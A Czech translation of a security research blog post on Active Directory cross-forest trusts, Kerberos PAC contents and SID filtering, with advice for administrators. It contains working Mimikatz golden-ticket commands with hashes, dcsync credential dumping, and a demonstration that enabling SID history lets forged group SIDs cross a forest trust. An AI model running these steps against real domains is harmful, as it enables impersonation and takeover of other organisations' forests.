Důvěryhodnost doménové struktury služby Active Directory, část 1 – Jak funguje filtrování SID?

Toto je první příspěvek v seriálu o důvěryhodnosti služby Active Directory napříč doménovými strukturami. Bude v něm vysvětleno, co přesně jsou důvěryhodné struktury lesa a jak jsou chráněny pomocí filtrování SID. Pokud se s trusty Active Directory teprve seznamujete, doporučuji začít přečtením podrobného průvodce o nich od harmj0y. Po přečtení jeho (vynikajícího) příspěvku jsem měl spoustu otázek ohledně toho, jak to vlastně funguje pod kapotou a jak se porovnávají trusty v rámci jedné doménové struktury AD s trusty mezi různými doménovými strukturami. Tato série blogů je mou cestou a zároveň dokumentací toho, jak jsem toto téma zkoumal a jak mu nyní rozumím. Připravte se na hluboký ponor do problematiky trustů, Kerberosu, golden ticketů, mimikatz a impacketu!

Tento příspěvek se bude zabývat trusty mezi různými lesy. Doménová struktura je soubor jedné nebo více domén, které jsou součástí jednoho nebo více doménových stromů. V organizacích s jedinou doménou tvoří tato doména také celou doménovou strukturu. V dokumentaci společnosti Microsoft se vztahy důvěryhodnosti často nazývají buď vztahy důvěryhodnosti mezi lesy (vztahy důvěryhodnosti mezi dvěma různými lesy), nebo vztahy důvěryhodnosti uvnitř lesa (vztahy důvěryhodnosti mezi doménami ve stejném lese). Protože mě tato slova vždycky zmatou, budu je v tomto příspěvku označovat buď jako vztahy důvěry v rámci doménové struktury, nebo vztahy důvěry mezi doménovými strukturami (nebo vztahy mezi doménovými strukturami). Důležité je také mít na paměti, že i když se bavíme o vztazích důvěryhodnosti mezi dvěma doménovými strukturami, vztahy důvěryhodnosti jsou vždy definovány mezi doménami. Vztahy důvěryhodnosti v doménové struktuře lze vytvořit pouze mezi dvěma kořenovými doménami různých doménových struktur, takže jakákoli zmínka v tomto příspěvku o vztahu důvěryhodnosti v doménové struktuře je vztahem důvěryhodnosti mezi dvěma různými kořenovými doménami.

V rámci jedné doménové struktury si všechny domény navzájem důvěřují a můžete eskalovat z jedné ohrožené domény do všech ostatních, jak je vysvětleno ve výzkumu Seana Metcalfa o vztazích důvěryhodnosti domén. Zopakujme si to:

Budeme také hovořit o identifikátorech zabezpečení (SID). Identifikátor SID je něco, co jednoznačně identifikuje bezpečnostní princip, například uživatele, skupinu nebo doménu. Jedna z domén v testovacích doménových strukturách má SID S-1-5-21-3286968501-24975625-1618430583. Známá skupina Domain Admins, která má ID 512, má identifikátor SID složený z identifikátoru SID domény a identifikátoru (v terminologii AD se nazývá RID), čímž má v této doméně identifikátor SID S-1-5-21-3286968501-24975625-1618430583-512.

Nastavení

Nastavení obsahuje 3 doménové struktury adresáře active directory: A, B a C. Doménová struktura A i C mají obousměrný tranzitivní vztah důvěryhodnosti doménové struktury s doménovou strukturou B (k tomu, co to přesně znamená, se dostaneme později). Doménová struktura A a doménová struktura C mezi sebou nemají vztah důvěryhodnosti. Lesní struktura A je jedinou lesní strukturou se dvěma doménami: forest-a.local a sub.forest-a.local. Protože obě tyto domény jsou v rámci doménové struktury A, mají mezi sebou obousměrný vztah důvěryhodnosti Rodič-dítě. Nastavení je znázorněno na následujícím obrázku:

Domény forest-a a forest-b mají oba hava řadič domény a členský server (na obrázku není zobrazen), ostatní domény se skládají pouze z jednoho řadiče domény. Celá tato konfigurace běží v Azure a je spravována prostřednictvím Terraformu, který se stará o virtuální počítače, sítě, DNS a nastavení doménových struktur, zatímco Trusty byly nastaveny ručně dodatečně.

Z A do B, co je v PAC?

Předpokládejme, že jsme v doménové struktuře A a chceme přistupovat ke zdrojům v doménové struktuře B. Máme svůj Kerberos Ticket Granting Ticket (TGT), který je platný v kořenové doméně domény A, ve které se právě nacházíme (příhodně nazvané forest-a). Když chceme přistupovat ke zdrojům mimo naši aktuální doménu (buď ve stejné, nebo jiné doménové struktuře), systém Windows potřebuje pro tento zdroj servisní lístek, v tomto příkladu forest-b-server.forest-b.local. Náš TGT pro forest-a je samozřejmě v forest-b k ničemu, protože je zašifrován hashem účtu krbtgt v forest-a, který forest-b nemá. Z hlediska systému Kerberos se ověřujeme v jiné sféře. Takže to, co náš klient dělá na pozadí, je vyžádání servisního lístku pro prostředek, ke kterému se snažíme získat přístup v forest-b u řadiče domény (DC) pro forest-a. DC (což je v terminologii systému Kerberos centrum distribuce klíčů neboli KDC) nemá lokálně žádný prostředek s příponou forest-b.local, hledá všechny důvěryhodnosti s doménovými strukturami, které mají tuto příponu.

Protože existuje obousměrná důvěryhodnost mezi doménovou strukturou A a doménovou strukturou B, může nám DC domény forest-a vydat referenční lístek (TGT) do domény forest-b. Tento lístek je podepsán klíčem důvěryhodnosti mezi realmy Kerberos a obsahuje skupiny, jejichž jsme členy v forest-a. Les B tento lístek přijme a vydá nám servisní lístek pro forest-b-server, který můžeme použít k ověření. Schematický přehled je uveden níže:

Pokud se připojíme na naší pracovní stanici v doménové struktuře A k serveru v doménové struktuře B, můžeme zobrazit tikety pomocí příkazu klist:

Druhý tiket shora je náš počáteční TGT, který můžeme použít k žádosti o TGT pro forest-b. Vidíte, že tento TGT pro forest-b (nahoře) má v poli serveru zadavatele krbtgt pro forest-b. Jedná se o účet v doménové struktuře A, který je spojen s důvěryhodností (tento účet se jmenuje forest-b$ a nachází se v části Users adresáře). Jeho šifrovaná část je zašifrována klíčem důvěryhodnosti mezi doménami, který tyto domény sdílejí.

Třetí tiket shora je tiket, který můžeme použít v doménové struktuře B pro kontaktování tamního serveru. Jedná se o servisní tiket, který nám poskytl DC v doménové struktuře B. Jak vidíte v poli Server, tento tiket byl vydán a platí v realmu Kerberos FOREST-B.LOCAL.

Nyní se ponoříme do toho, co je vlastně v tomto tiketu. Každý TGT systému Kerberos vyžádaný systémem Windows obsahuje certifikát atributu oprávnění neboli PAC. Formát je popsán v MS-PAC na MSDN. Tento PAC obsahuje mimo jiné SID skupin, jejichž jsme členy. Abychom mohli zobrazit, co se v PAC skutečně nachází, musíme nejprve získat lístky z paměti. K tomu budeme používat program Mimikatz, s jehož pomocí můžeme všechny tikety Kerberosu vypsat na disk příkazem sekurlsa::tickets /export. Ačkoli Mimikatz skutečně obsahuje nějaký kód pro ladění Kerberosu, nepodařilo se mi zjistit, jak funguje, a já neumím psát v C, takže upravovat cokoli bylo stejně v podstatě vyloučené. Naštěstí moje oblíbená pythonovská knihovna impacket podporuje všechny možné věci kolem Kerberosu. Impacket bere tikety Kerberos ve formátu ccache, což není formát, který Mimikatz exportuje, ale ty můžeme snadno převést pomocí kekeo. Stačí spustit příkaz misc::convert ccache ourticket.kirbi a Kekeo jej uloží jako soubor .ccache, který můžeme přečíst pomocí Impacketu.

Pro dešifrování PAC jsem napsal několik utilit založených na příkladech impacketu, které vydávám jako součást tohoto výzkumu. K dešifrování zašifrovaných částí lístků Kerberos samozřejmě potřebujeme šifrovací klíče, takže jsem je extrahoval pro všechny domény pomocí secretsdump.py a jeho implementace dcsync. Pro první TGT musíme do souboru přidat hash krbtgt. Podle výše uvedeného snímku obrazovky vidíte, že budeme potřebovat klíč aes256-cts-hmac-sha1-96 vypsaný nástrojem secretsdump.

Nástroj getcfST.py slouží k vyžádání servisního lístku v jiné doménové struktuře na základě TGT v souboru .ccache (soubor, který se má použít, můžete zadat pomocí export KRB5CCNAME=myticket.ccaches). Tím se dešifruje a vypíše celý PAC, jehož výstup si zájemci mohou prohlédnout zde. Přidala jsem několik řádků kódu, které pro nás vypisují důležité části v lidsky čitelnějším formátu:

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1

Toto je pěkný výchozí PAC. Vidíme, že jsme členy několika skupin, a protože se jedná o účet Administrator (ID 500, i když má jiný název) lesa A, se kterým právě testujeme, je členem několika výchozích skupin správců, například Domain Admins (512) a Enterprise Admins (519). Máme také extra SID S-1-18-1, což znamená, že se ověřujeme na základě prokázání vlastnictví pověření.

Pro dešifrování druhého TGT musíme změnit klíč z účtu krbtgt na klíč účtu forest-b$, což je klíč důvěryhodnosti mezi oblastmi. V tomto případě je PAC šifrován pomocí RC4, který jako vstup používá NT hash (ano, ten, který se používá pro předávání hashe). Toto je výchozí nastavení, pokud není zaškrtnuto políčko „Druhá doména podporuje šifrování Kerberos AES“. Jak je vidět v surovém výpisu, PAC se nezměnil, což podporuje předpoklad, že DC pouze znovu zašifruje PAC jako součást tiketu pomocí klíče důvěryhodnosti mezi realitami pro les B.

TGS je trochu jiný příběh. Kromě toho, že vyžaduje několik změn v příkladu getcfST.py a je třeba zadat klíč AES-256 účtu počítače forest-b-server pro jeho dešifrování, vidíme, že do PAC byly přidány další informace (surový výpis zde):

Username: superuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 520 (attributes: 7) -> 512 (attributes: 7) -> 519 (attributes: 7) -> 518 (attributes: 7)LogonServer: forest-a-dcLogonDomainName: forest-aExtra SIDS: -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Vidíme, že byla přidána nová sekce obsahující identifikátor domény SID domény forest-b a skupinu, jejímž členem je náš účet v doménové struktuře B. Tyto identifikátory SID jsou součástí struktur ResourceGroup PAC a slouží k ukládání členství ve všech místních skupinách domény v doméně forest-b. Jak je vysvětleno v tomto příspěvku od harmj0y, doménové místní skupiny jsou jediné skupiny, které mohou obsahovat bezpečnostní principy z jiných doménových struktur. V doméně forest-b je náš uživatel superuser z doménové struktury A členem skupiny Testgroup2, kterou můžete vidět níže.

Protože se to odráží v našem PAC, který servery, k nimž se ověřujeme pomocí našeho servisního lístku Kerberos, používají pro autorizaci, budou všechna oprávnění přiřazená Testgroup2 platit pro účet superuživatele z jiné doménové struktury. Takto funguje ověřování a autorizace napříč důvěryhodnými strukturami.

Zlaté lístky a filtrování SID

Před několika lety Sean Metcalf a Benjamin Delphy spolupracovali na přidání podpory historie SID do systému Mimikatz, což umožnilo eskalaci z jedné domény Active Directory do jiné v rámci stejné doménové struktury. Postup, jak na to, je podrobně popsán zde. Jak se to převádí na důvěryhodnosti s jinou doménovou strukturou? Vytvořme zlatý tiket s několika zajímavými SID, abychom viděli, jak se zpracovávají při překročení hranice doménové struktury. Pomocí následujícího příkazu Mimikatz vytvoříme zlatý tiket v našem aktuálním lese:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:2acc1a3824a47c4fcb21ef7440042e85 /user:Superuser /target:forest-a.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106 /ptt

Rozložíme si tento příkaz. Vytváříme zlatý tiket v forest-a, podepsaný hashem krbtgt z forest-a. Jako další identifikátory SID uvedeme několik zajímavých identifikátorů SID:

• S-1-5-21-3286968501-24975625-1618430583-1604, SID skupiny, jejímž členem ve skutečnosti nejsme
• S-1-5-21-3286968501-24975625-1111111111-1605, SID domény, která ve skutečnosti neexistuje
• S-1-18-1, SID, které přidává systém Windows a které označuje, že jsme se ověřili pomocí dokladu o vlastnictví pověření
• S-1-5-21-2897307217-3322366030-3810619207-1106, skupina v forest-b

Příznak /ptt injektuje tiket do paměti a při procházení do \forest-b-server.forest-b.local nevidíme žádné chybové hlášení, což znamená, že tiket byl úspěšně použit pro přístup k prostředku v forest-b. Vstupenky exportujeme jako dříve a dešifrujeme je stejným způsobem jako v předchozí části.

TGT pro forest-a obsahuje očekávané SID:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

TGT, který jsme získali pro forest-b od řadiče domény forest-a, podepsaný klíčem důvěryhodnosti mezi oblastmi, skutečně obsahuje přesně stejné informace:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106

To opět naznačuje, že DC nepotvrzuje PAC, ale pouze jej znovu podepisuje klíčem inter-realm pro forest-b, přestože obsahuje skupinu, jejímž členem ve skutečnosti nejsme.

Pokud tento TGT předložíme DC v forest-b, dostaneme zpět náš servisní lístek, který obsahuje následující PAC:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-18-1Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Co se zde stalo? Vidíme, že do PAC byla opět přidána naše členství v doméně forest-b, ale že některé SID byly odfiltrovány. Zde nastoupil bezpečnostní mechanismus filtrování SID, který odfiltruje všechny SID, které nejsou součástí forest-a. Pravidla pro filtrování SID jsou popsána v MSDN. Zajímavá jsou zde pravidla s položkou ForestSpecific. Tyto identifikátory SID jsou povoleny pouze z PAC z dané doménové struktury. Protože náš PAC pochází z oblasti mimo doménovou strukturu, budou tyto SID z našeho PAC vždy filtrovány. Tři pravidla za pravidly ForestSpecific zajišťují, aby byly odfiltrovány všechny SID, které nepocházejí z lesa A. To zahrnuje jak neexistující SID, které jsme dodali, tak jakékoli SID, které není specifické pro les, a které existuje v lese B.

Stále nám to umožňuje předstírat, že jsme jakýkoli uživatel v lese A, takže pokud uživatelé z lesa A získali v lese B nějaká zvláštní oprávnění (což je pravděpodobně důvod, proč byl celý trust vůbec vytvořen), jsou nyní ohrožena.

Uvolnění filtrování SID

Na začátku tohoto výzkumu mě zaujala možnost pro trusty, která je dostupná pouze prostřednictvím nástroje netdom a v grafickém rozhraní se nezobrazuje. Jedna ze stránek dokumentace společnosti Microsoft popisuje povolení historie SID u trustů napříč lesy. K čemu to slouží? Povolme historii SID na vztahu důvěryhodnosti z doménové struktury B do A (což ovlivňuje uživatele ověřující se z A v B):

C:\Users\superuser>netdom trust /d:forest-a.local forest-b.local /enablesidhistory:yesEnabling SID history for this trust.The command completed successfully.

Takže co se změnilo? Podívejme se, jak se to promítne do příznaku TrustAttributes objektu důvěryhodné domény. Můžete se na to zeptat pomocí několika nástrojů, níže je uveden výstup souboru domain_trusts.html ze souboru ldapdomaindump spuštěného proti lesu B, což je nástroj, který jsem před časem napsal pro shromažďování informací o AD.

Náš trust s lesem A má nyní příznak TREAT_AS_EXTERNAL. V příslušné dokumentaci společnosti Microsoft se píše:

Je-li tento bit nastaven, pak se důvěryhodnost mezi lesy a doménou má pro účely filtrování SID považovat za externí důvěryhodnost. Důvěryhodnosti napříč lesy jsou filtrovány přísněji než externí důvěryhodnosti. Tento atribut zmírňuje tyto křížové důvěryhodnosti tak, aby byly rovnocenné externím důvěryhodnostem. Další informace o tom, jak jsou filtrovány jednotlivé typy důvěryhodnosti, naleznete v části 4.1.2.2.

Toto odkazuje zpět na část, která popisuje filtrování SID. Podívejme se jen, co se stane, když nabídneme stejný TGT proti DC forest-b:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Náš servisní lístek z DC forest-b nyní obsahuje všechny SID, které jsme vložili do našeho předchozího lístku Mimikatz! To znamená, že můžeme zadat libovolný SID, který není v našem PAC filtrován jako ForestSpecific, a že jej DC lesa B přijme.

Vytvořme nový zlatý tiket s několika dalšími SID, abychom tuto hypotézu ověřili:

kerberos::golden /domain:forest-a.local /sid:S-1-5-21-3286968501-24975625-1618430583 /rc4:b8e9b4b3feb56c7ba1575bf7fa3dc76f /user:Superuser /target:forest-b.local /service:krbtgt /sids:S-1-5-21-3286968501-24975625-1618430583-1604,S-1-5-21-3286968501-24975625-1111111111-1605,S-1-18-1,S-1-5-21-2897307217-3322366030-3810619207-1106,S-1-5-21-2897307217-3322366030-3810619207-512,S-1-5-21-2897307217-3322366030-3810619207-519,S-1-5-21-2897307217-3322366030-3810619207-548,S-1-5-21-2897307217-3322366030-3810619207-3101

Nové SID zde obsažené:

• S-1-5-21-2897307217-3322366030-3810619207-512: Správci domény by měli být filtrováni explicitním pravidlem ForestSpecific
• S-1-5-21-2897307217-3322366030-3810619207-519: Enterprise Admins, by měly být filtrovány explicitním pravidlem ForestSpecific
• S-1-5-21-2897307217-3322366030-3810619207-548:
• S-1-5-21-2897307217-3322366030-3810619207-3101: Je skupina, která je členem skupiny Domain Admins, neměla by být filtrována.

Jak jste si možná všimli, výše uvedené je vlastně podepsáno klíčem důvěryhodnosti mezi oblastmi, takže zde přímo vytváříme TGT, který je platný pro oblast B, abychom přeskočili krok jeho nabízení DC oblasti A jako první.

Nyní dostaneme zpět do PAC našeho servisního lístku následující:

Username: SuperuserDomain SID: S-1-5-21-3286968501-24975625-1618430583UserId: 500PrimaryGroupId 513Member of groups: -> 513 (attributes: 7) -> 512 (attributes: 7) -> 520 (attributes: 7) -> 518 (attributes: 7) -> 519 (attributes: 7)LogonServer: LogonDomainName: FOREST-AExtra SIDS: -> S-1-5-21-3286968501-24975625-1618430583-1604 -> S-1-5-21-3286968501-24975625-1111111111-1605 -> S-1-18-1 -> S-1-5-21-2897307217-3322366030-3810619207-1106 -> S-1-5-21-2897307217-3322366030-3810619207-3101Extra domain groups found! Domain SID:S-1-5-21-2897307217-3322366030-3810619207Relative groups: -> 1107 (attributes: 536870919)

Několik věcí, které je třeba poznamenat:

• Skupiny DA/EA/Account Operators jsou skutečně odstraněny filtrováním SID
• Skupina Domain Admins není přidána do části ResourceGroup PAC, přestože skupina 3101 je přímým členem této skupiny. Je to proto, že skupina Domain Admins je globální skupinou, zatímco v PAC se přidávají pouze lokální skupiny domény.

Pro útočníka to znamená, že lze podvrhnout libovolnou skupinu RID >1000, pokud je historie SID povolena v rámci důvěryhodné doménové struktury! Ve většině prostředí to útočníkovi umožní kompromitovat doménovou strukturu. Například skupiny zabezpečení Exchange, které v mnoha nastaveních umožňují zvýšení oprávnění na DA, mají všechny RID větší než 1000. Také mnoho organizací bude mít vlastní skupiny pro správce pracovních stanic nebo helpdesky, které mají na pracovních stanicích nebo serverech přidělena práva místního správce. Například jsem právě přidělil skupině IT-Admins (s RID 3101, která je součástí našeho zlatého lístku) práva správce na stroji forest-b-server. Po výměně našeho TGT za Service Ticket se můžeme pomocí tohoto ticketu ověřit v poli:

Závěry

Svěřenské fondy napříč doménovou strukturou jsou ve výchozím nastavení přísně filtrovány a neumožňují žádným SID mimo danou doménovou strukturu cestovat přes tento fond. Útočník, který kompromituje důvěryhodnou doménovou strukturu, se však může vydávat za libovolného uživatele této doménové struktury, a získat tak přístup ke zdrojům, které byly explicitně přiděleny uživatelům/skupinám v této doménové struktuře.

Pokud je historie SID povolena pro důvěryhodnost mezi jednotlivými lesy, zabezpečení je výrazně oslabeno a útočníci se mohou vydávat za členy jakékoli skupiny s RID větším než 1000, což může ve většině případů vést ke kompromitaci dané lesní struktury. pokud jste správce IT, pečlivě zvažte, kterým uživatelům v různých lesních strukturách udělíte přístup ve vaší lesní struktuře, protože každý uživatel, kterému udělíte přístup, oslabuje bezpečnostní hranici mezi lesními strukturami. Nedoporučoval bych povolovat historii SID mezi doménovými strukturami, pokud to není nezbytně nutné.

V příštím díle (nebo dílech, kdo ví) se ponoříme do fungování důvěryhodnosti Transitivity a probereme další typy důvěryhodnosti s doménami mimo doménovou strukturu. To znamená, že si také začneme hrát s lesy C a sub.forest-a.

Nástroje

Nástroje použité v tomto příspěvku jsou k dispozici jako proof-of-concept na mém GitHubu. Tyto nástroje budou vyžadovat ruční úpravy, aby byly použitelné, a jsou poskytovány pouze AS-IS lidem, kteří chtějí tento výzkum reprodukovat nebo se do něj dále ponořit.